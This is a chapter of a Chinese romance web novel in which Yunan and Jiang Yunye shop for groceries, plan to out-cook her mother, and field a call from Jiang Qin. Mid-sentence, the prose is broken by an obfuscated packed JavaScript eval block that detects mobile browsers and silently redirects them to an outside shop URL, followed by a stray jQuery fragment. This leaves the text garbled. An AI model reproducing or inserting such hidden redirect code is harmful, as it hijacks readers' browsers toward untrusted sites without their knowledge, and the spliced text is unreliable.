“连你一个吃不出味道的人都觉得难吃,是吧?”江云野的这句话,威力实在太大了。
悠南此刻的表情就像二倍速快放的天气实录,晴雨惊雷眨眼间出现在同一张脸上。
在“江云野自己早就看出来”和“萍萍对江云野据实以告”的猜测之间,她选择了闭嘴不问。
刨根问底还有意义吗?这几天她已经信息过载了。
可她还是忍不住有些生气,干脆破罐破摔质问江云野:“啊对、是啊!所以江先生,你非要让我身残志坚地陪你吃萍萍做的饭吗!”
“噗……哈哈、哈哈哈……”
江云野的笑来得并不突然,但渐渐明快爽朗,车厢里仅剩的几个人都探头侧身看向他们。
“你、你别笑了!”悠南斜着眉毛瞪江云野。
可江云野还是笑得停不下来。
悠南本想再用力瞪他一眼,却在看见他笑到眼角抹泪时,不知怎的,气突然就散了。她别过脸,也弯起嘴角,小声说了句“切~”
“不要慌,孟小姐……”江云野边说边恢复了一本正经,“我是站在你这边的,这顿饭可以我来做,没准萍萍一吃,对做饭和投喂你这件事产生了全新的认识呢?”
悠南当即摆手拒绝:“这怎么好意思!你是客……”
说着她又一顿,眨巴着眼睛问江云野:“说具体点,你有多少胜算?”
江云野还没说话,又开始笑了,见悠南嘴角慢慢向下,还没好气地叹了一声,他立刻正色道:“百分之四十九。”
“???”悠南无语到双手叉腰,目光质疑又震惊。
“知己知彼才能百战百胜。”江云野坦然道,“你得帮我,没你不能成。”
悠南一听,轻挑眉梢,若有所思地看向江云野,江云野也饶有兴致地看着她。
半分钟后,悠南轻抬下巴:“好吧,我姑且配合你一下。”
江云野眸光一亮:“现在百分之百了。”
十分钟后,列车缓缓在清宁站停稳。
走出车站的时候,悠南还是恍惚了一瞬,好像在这里遇见孟悠扬揪住他的领口,是昨天刚发生的事。她看向萍萍,萍萍也脸色惨淡,还漏听了好几次她的呼唤。
见江云野也一身疲惫,悠南提议今天先各自回去休息,她叫了辆车,先送江云野到酒店,又把她和萍萍送到了另一处闲置的小房子。
无论如何她还是庆幸,当时萍萍听了她的话,没把这里的地址告诉孟悠扬。
安顿好萍萍,悠南出门置办日用品,给江云野定的酒店离她住的小房子很近,只隔了一条街。
三月初的清宁还是严冬季节,悠南抬头怔怔望着那些亮着灯的客房,一直望到耳朵冻得有点疼,才转身进了超市。
她想先去买点酸奶,却在经过冷柜时看着一袋袋汤圆发起了呆。
出事那天,正好是元宵节。
深呼吸、转身、走,她知道再多站一会儿自己情绪就要不好了,低头迈步时却被人挡住了去路。
她向左,那人也向左,她说声抱歉,又向右,那人也向右……她心烦意乱地抬头,却看见笑着朝她摆手的江云野。
紧皱的眉心没解开,悠南眯起疑惑的眼睛:“你怎么连我在哪都知道得这么准?”
问完她自己先愣了,这问题好像有点怪……怎么说得他莫名有点厉害似的。
江云野却笑得一脸无辜:“并没有。我来买酸奶,刚好看见你在这。你呢,买什么?”
悠南开口一顿,忽然觉得话有点烫嘴:“我……我也来买酸奶。”
“噢,也买酸奶,好巧的偶遇……”江云野点点头,眉眼见弯。
“就真的是刚好碰见你也在这!”悠南急着解释,竟没来由地感觉很被动。
江云野却笑着拉过她的购物车,顺带抻过了她整个人:“那一起吧,顺便了解一下明天的‘对手’。”
于是拿了酸奶之后,悠南又被江云野带到了果蔬区,还被要求详细说说萍萍做菜的风格。
悠南环视了一圈货架上琳琅满目的蔬菜,忽然笑得发邪。
“吃过魔药糊糊一样的紫薯香蕉小米粥吗?”
“见过天蓝色的紫甘蓝煮馄饨吗?”
“闻到过腥到好像放了恶龙鳞片的牛奶豆腐鲤鱼汤吗?”
……
她指着那些再寻常不过的蔬菜,用最平静的语气,回忆着那些最让她忘不了的“黑暗料理”。
不过最后她还是表达了认可:“其实吧,萍萍做菜还是很用心的,荤素搭配,只不过她总想毕其功于一役,把几道菜汇到一个盘子里端上来。”
江云野中间几次开口,都不知道该如何评论,最后只摸了摸悠南的头,心疼地说了句:“放心,有我在,以后不会了。”
悠南双手插兜,笑笑说没什么,刚一握手机,就感觉到了一阵震动。
来电人是蒋秦。
脚尖转了转,她迟疑着要不要躲开,却在见到江云野打着手势示意她,他先回避之后,直接按下了通话键。
她没再看江云野,而是一边和他并肩走一边接电话,两个人之间的距离,刚好能听见电话另一端的声音。
“到家了吧?”蒋秦听起来闷闷的。
“到了。”悠南平静答道。
“听着像在外面呢?”
“在超市,买点东西。”悠南说着,不自觉把手搭在了购物车上,购物车被江云野慢慢推着,她就慢慢跟着。
“那你现在说话方便吗?是……自己一个人吗?我有个事想跟你说。”蒋秦轻声试探。
悠南皱了皱眉,刚想直接问蒋秦什么事,就听见耳边传来超市导购员的热情介绍:“一次性床单特价了啊!买二送一,买三送二!”
她被吵得停下脚步,下意识寻声而望,发现江云野也停下了购物车,转身看着货架。
导购见状立刻贴上来推销:“小两口选这个双人四件套最划算!买三送二性价比最高了!”
“啊那个……”悠南一时有点混乱,想解释又发现自己握着电话,想拒绝又抻了抻江云野。
江云野却笑着朝她点点头,直接拿了五包放进购物车,还对着导购大方说了声谢谢。
“你和江云野在一起是么?”蒋秦话问得很快,可每个字都在颤。
悠南顿了两秒,淡定回答:“对,我们在超市。”
“好,我知道了。先这样,再见。”
蒋秦说完直接挂了电话,悠南望着熄灭的屏幕默了片刻,轻叹一声把手机放回了衣兜。
如果没有那声叹气的话,江云野心里确实是高兴的。
毕竟面对蒋秦的来电,悠南没有躲避也始终不热情,而且她未必没有反应过来,蒋秦误会了,她甚至没有解释。
可那声叹气又代表什么?她对蒋秦的那份好感,到底绵延了多久,到现在又残存着多少?
此刻走在他身边的她,好像只因为这一个电话,就又变得不一样了……
“悠南,今天稍晚时候,我们能不能再见一面?地点你定。”江云野推着购物车,对异常沉默的悠南说道。
“……”
悠南只低头走着,没回答。
江云野默默驻足,目光追着一个人走远的悠南,苦笑了一下。
果真,她根本没发现他停下,一直不言不
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17666182|204067||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
语地走到货架的尽头,才像个刚刚结束梦游的人一样,回身四处张望。
对上他目光的时候,她眼里只有不好意思的笑。
她一路小跑着回来,一直说着抱歉抱歉,歪头把眼睛弯成一双月牙,长长的头发从肩膀滑下。
“怎么了?你生气啦?”她只轻轻一问,就打破了他紧盯着她的目光,刚才没伸出去的手,此刻只拍了拍她的肩膀。
“累了吧?走吧去结账。”江云野笑着提议道。
悠南也没拒绝,痛快答应了。
两个人在超市门口道别,江云野看着悠南快步离开的背影,猜不到她的心事,只惊觉是他自己大意了,蒋秦根本就没死心。
*
悠南到家时,点的外卖也刚好送到,她拎着东西进门,发现萍萍已经在小屋里睡着了。
怕萍萍不吃饭夜里难受,悠南把粥和小菜摆好,还是叫醒了她。萍萍起身出屋时,她瞥见了她枕巾上的泪痕。
喝粥的时候,萍萍的眼睛还是红红的,眼皮也还肿着,悠南一直没多说什么,只默默陪着。
沉默间她又想起今天蒋秦的来电。
心里压的事,就又多了一件。
她也是刚刚在超市里想到的,想到入神时还差点把人家江云野丢下……没办法她只好匆匆离开,自己回家好好考虑。
是关于可儿。
如果江云野真的有能力帮他摆平孟悠扬的事,那还要不要摆平可儿?
毕竟孟悠扬除了欠人家五百万,还把她是“哟梦”的事捅了出来。
偏偏这件事的中间人是可儿,那就只能说明,这人本来就是冲着蒋秦和她来的,或者说,就是冲着蒋秦来的。
可蒋秦从头到尾都只字未提可儿的事,那到底是出于对连累她出事的愧疚感?还是出于对他自己的“老相好”的袒护呢?
所以这事又是左右难办!
如果放任不管,那她这个“哟梦”搞不好哪天也被拉出来“爆料”,挣不挣钱放一边,严重了都会影响她和萍萍的个人生活。
如果管,蒋秦什么态度?她刚和蒋秦签了合同,若蒋秦要出手袒护“可儿”,她岂不是“腹背受敌”?这个“哟梦”她照样还是做不成了!
简直又是一场职场噩梦啊!
虽然她非常不愿那么想,但她真的开始怀疑这个蒋秦……是不是个“战壕”转世!要不怎么一靠近他,步步都是坎!
还有,如果要管,就要告诉江云野,她是“哟梦”……
不过这么一对比,这件事好像已经是所有事情里,最不让她忧心的一件了……
可能是接连的叹气声太明显,萍萍终于放下筷子,又红了眼圈:“南南啊,咱们别管了,孟悠扬的事真的不要管了!妈妈想好了,把清宁的房子卖了,我跟你去嘉安!”
看着突然激动的萍萍,悠南竟一时找不到安慰的话,就只能任由她鼻涕一把眼泪一把地先发泄情绪。
“我就你这一个女儿,我不能让你因为这事把自己的一辈子都搭进去!看你现在这样劳心又受累的,妈妈真的……”
萍萍说着说着又哭了起来,悠南忙搂过她的肩膀安抚,却只劝她不要多想,船到桥头自然直。
其实她自己也觉得奇怪,越是见萍萍这样,她脑子里的那个声音反而越清晰。
那个声音不断告诉她:孟悠南,这件事,无论如何你都逃不了,必须面对。
等萍萍安稳睡下,已经是晚上十一点,她关灯躺在床上,身子沉得像灌了铅,脑袋却像通着电,没有一点困意。
距离新一天还剩不到五分钟的时候,她给江云野发了条消息:【睡了没,云野?】